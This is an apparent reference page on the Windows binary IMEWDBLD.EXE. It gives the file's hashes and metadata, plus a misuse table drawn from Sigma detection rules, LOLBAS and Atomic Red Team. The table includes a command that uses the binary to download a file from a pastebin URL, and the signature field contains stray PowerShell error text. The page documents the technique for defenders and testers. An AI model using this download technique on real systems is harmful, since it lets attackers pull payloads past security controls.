IMEWDBLD.EXE
- File Path:
C:\windows\system32\IME\SHARED\IMEWDBLD.EXE - Description: Microsoft IME Open Extended Dictionary Module
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Hashes
| Type | Hash |
|---|---|
| MD5 | 8850DBB08A9158F8488E1D7DA2A62E6F |
| SHA1 | 3D37A1BE298A38F4AA0934EB85BB32257E7C2CF0 |
| SHA256 | 69D9BE75C7F403B13D7D3344E5BD8244DE16CB2877D95C0715591419AED71FA4 |
| SHA384 | 68348EF39F951A1EC61B2180E5FF46A9E84168DA6874405FB3D8D0A20918A3C5252B551B38EE87A138D65142C078B7A3 |
| SHA512 | 2C7D5B780B481C307589B2CF77642BB72CF416DEB0BAF84D400FC1EF40EAC28C71955E3F1607E7114E94B3FF6785D1BB31045D12B9A1B6EC715D8877C49AB039 |
| SSDEEP | 12288:B6uUP+1T+Qp5C0M0hdX+SXCoeVK90v+7Gs/r:0k1T+Q/i0hDSHNrs/ |
Signature
- Status: The file C:\windows\system32\IME\SHARED\IMEWDBLD.EXE is not digitally signed. You cannot run this script on the current system. For more information about running scripts and setting execution policy, see about_Execution_Policies at http://go.microsoft.com/fwlink/?LinkID=135170
- Serial: ``
- Thumbprint: ``
- Issuer:
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File Metadata
- Original Filename: imewdbld.exe
- Product Name: Microsoft IME 2012
- Company Name: Microsoft Corporation
- File Version: 15.0.9600.18514
- Product Version: 15.0.9600.18514
- Language: Language Neutral
- Legal Copyright: Microsoft Corporation. All rights reserved.
Possible Misuse
The following table contains possible examples of IMEWDBLD.EXE being misused. While IMEWDBLD.EXE is not inherently malicious, its legitimate functionality can be abused for malicious purposes.
| Source | Source File | Example | License |
|---|---|---|---|
| sigma | net_connection_win_imewdbld.yml | title: Download a File with IMEWDBLD.exe |
DRL 1.0 |
| sigma | net_connection_win_imewdbld.yml | description: Use IMEWDBLD.exe (built-in to windows) to download a file |
DRL 1.0 |
| sigma | net_connection_win_imewdbld.yml | Image\|endswith: '\IMEWDBLD.exe' |
DRL 1.0 |
| LOLBAS | IMEWDBLD.yml | Name: IMEWDBLD.exe |
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| LOLBAS | IMEWDBLD.yml | - Command: C:\Windows\System32\IME\SHARED\IMEWDBLD.exe https://pastebin.com/raw/tdyShwLw |
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| LOLBAS | IMEWDBLD.yml | Description: IMEWDBLD.exe attempts to load a dictionary file, if provided a URL as an argument, it will download the file served at by that URL and save it to %LocalAppData%\Microsoft\Windows\INetCache\<8_RANDOM_ALNUM_CHARS>/<FILENAME>[1].<EXTENSION> or %LocalAppData%\Microsoft\Windows\INetCache\IE\<8_RANDOM_ALNUM_CHARS>/<FILENAME>[1].<EXTENSION> |
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| LOLBAS | IMEWDBLD.yml | - Path: C:\Windows\System32\IME\SHARED\IMEWDBLD.exe |
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| atomic-red-team | index.md | - Atomic Test #17: Download a file with IMEWDBLD.exe [windows] | MIT License. © 2018 Red Canary |
| atomic-red-team | windows-index.md | - Atomic Test #17: Download a file with IMEWDBLD.exe [windows] | MIT License. © 2018 Red Canary |
| atomic-red-team | T1105.md | - Atomic Test #17 - Download a file with IMEWDBLD.exe | MIT License. © 2018 Red Canary |
| atomic-red-team | T1105.md | ## Atomic Test #17 - Download a file with IMEWDBLD.exe | MIT License. © 2018 Red Canary |
| atomic-red-team | T1105.md | Use IMEWDBLD.exe (built-in to windows) to download a file. This will throw an error for an invalid dictionary file. | MIT License. © 2018 Red Canary |
| atomic-red-team | T1105.md | $imewdbled = $env:SystemRoot + “\System32\IME\SHARED\IMEWDBLD.exe” | MIT License. © 2018 Red Canary |
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